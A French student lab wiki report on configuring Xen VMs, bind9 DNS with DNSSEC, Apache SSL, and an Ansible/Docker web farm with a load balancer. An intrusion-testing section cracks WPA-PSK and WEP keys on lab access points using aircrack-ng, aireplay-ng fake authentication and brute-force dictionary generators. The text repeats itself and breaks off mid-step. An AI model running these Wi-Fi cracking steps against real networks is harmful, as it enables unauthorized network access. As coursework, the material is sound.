Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128
xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
address 192.168.0.4/24

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:
[[Fichier:result_crea_docker.png|900px|center]]

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
<Location "/balancer-manager">
SetHandler balancer-manager
</Location>
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:
https://www.chlamydiae.site/balancer-manager

On obtient:
[[Fichier:chlamydiae_balancer_result.png|700px|center]]

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

==Réalisations==
====<s>Sécurisation de données</s>====
====Cryptage de données====
Pour afficher la liste des périphériques connectés au PC:
fdisk -l

On la crypte et on crée la partition:
cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1
cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted

On formate notre volume en ext4
mkfs -t ext4 /dev/mapper/virtual_vol_crypted

On le monte ensuite sur /mnt
mount -t ext4 /dev/mapper/virtual_vol_crypted /mnt/

On y crée un fichier /mnt/test_file puis on démonte /mnt:
umount /mnt

Puis on ferme la communication sur le volume crypté:
cryptsetup luksClose virtual_vol_crypted

A présent, on ne peut plus avoir accès au volume /dev/mapper/virtual_vol_crypted tant qu'on en s'est pas reconnecté avec cryptsetup; pour pouvoir y accéder, il suffit de faire:
cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted_bis
-> demande du mot de passe
mount -t ext4 /dev/mapper/virtual_vol_crypted_bis /mnt/

Et on retrouve notre fichier test_file.

Si on essaye simplement de monter une clé usb cryptée:
mount /dev/sdb1 mnt/tmp
mount: /mnt/tmp: unknow filesystem type ‘crypto_LUKS’

====Sécurisation WiFi par WPA2-EAP====

TP sysres IMA5sc 2019/2020 G4

2019-12-17T09:49:12Z

Zbriois : /* Cryptage de données */

==Introduction==
Lien du sujet: https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128
xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
address 192.168.0.4/24

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
